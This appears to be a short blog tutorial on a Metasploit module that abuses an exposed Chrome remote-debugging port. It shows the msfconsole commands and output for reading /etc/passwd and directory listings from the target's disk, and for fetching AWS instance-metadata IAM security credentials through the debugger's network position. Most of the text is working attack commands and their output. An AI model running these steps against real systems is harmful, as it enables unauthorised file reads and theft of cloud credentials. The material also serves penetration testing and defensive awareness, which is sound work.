This last week Nick Starke got the chrome debugger metasploit module pushed over the line and merged into master. I figured I’d write up a quick intro to the module and how it might be used should you happen to stumble across a chrome debugger laying around the network.
Local environment
If you want to startup chrome and test this yourself you can run chrome in a similar fashion.
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --remote-debugging-address=127.0.0.1 --headless
Start msfconsole and use auxilary/gather/chrome_debugger
=[ metasploit v5.0.64-dev ]
+ -- --=[ 1952 exploits - 1092 auxiliary - 335 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > use auxiliary/gather/chrome_debugger
show options tells us what we need to set to make this work. The most important being the RHOST of the chrome debugger we’re going to gather from.
msf5 auxiliary(gather/chrome_debugger) > show options
Module options (auxiliary/gather/chrome_debugger):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH no File to fetch from remote machine.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9222 yes The target port (TCP)
TIMEOUT 10 yes Time to wait for response
URL no Url to fetch from remote machine.
We have two paths with this module to abuse with a chrome debugger. First we can read both files and directory listings from the local disk. Second we can query a URL from the network perspective of the chrome debugger system giving us the ability to potentially access or attack local resources that we didn’t have access to before.
Reading a file / directory listing
msf5 auxiliary(gather/chrome_debugger) > set FILEPATH /etc/passwd
FILEPATH => /etc/passwd
msf5 auxiliary(gather/chrome_debugger) > run
[*] Running module against 192.168.12.1
[*] Attempting Connection to ws://192.168.12.1:9222/devtools/page/76FE2B4D88AE3BA2973C801C7A8D1E78
[*] Opened connection
[*] Attempting to load url file:///etc/passwd
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored file:///etc/passwd at /root/.msf4/loot/20191219130327_default_192.168.12.1_chrome.debugger._265252.txt
[*] Auxiliary module execution completed
Abusing proc is useful here too if you aren’t use what directory you are in.
set FILEPATH /proc/self/cwd/
Reading from a remote URL
In this case we’re going to try and access the AWS metadata url, this could be however any internal service.
msf5 auxiliary(gather/chrome_debugger) > set URL http://169.254.169.254/latest/meta-data/iam/security-credentials/
URL => http://169.254.169.254/latest/meta-data/iam/security-credentials/
msf5 auxiliary(gather/chrome_debugger) > run
[*] Running module against 192.168.12.1
[*] Attempting Connection to ws://192.168.12.1:9222/devtools/page/2EE2D41C9D77868E7937831A9534FE05
[*] Opened connection
[*] Attempting to load url http://169.254.169.254/latest/meta-data/iam/security-credentials/
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored http://169.254.169.254/latest/meta-data/iam/security-credentials/ at /root/.msf4/loot/20191219130931_default_192.168.12.1_chrome.debugger._548422.txt
[*] Auxiliary module execution completed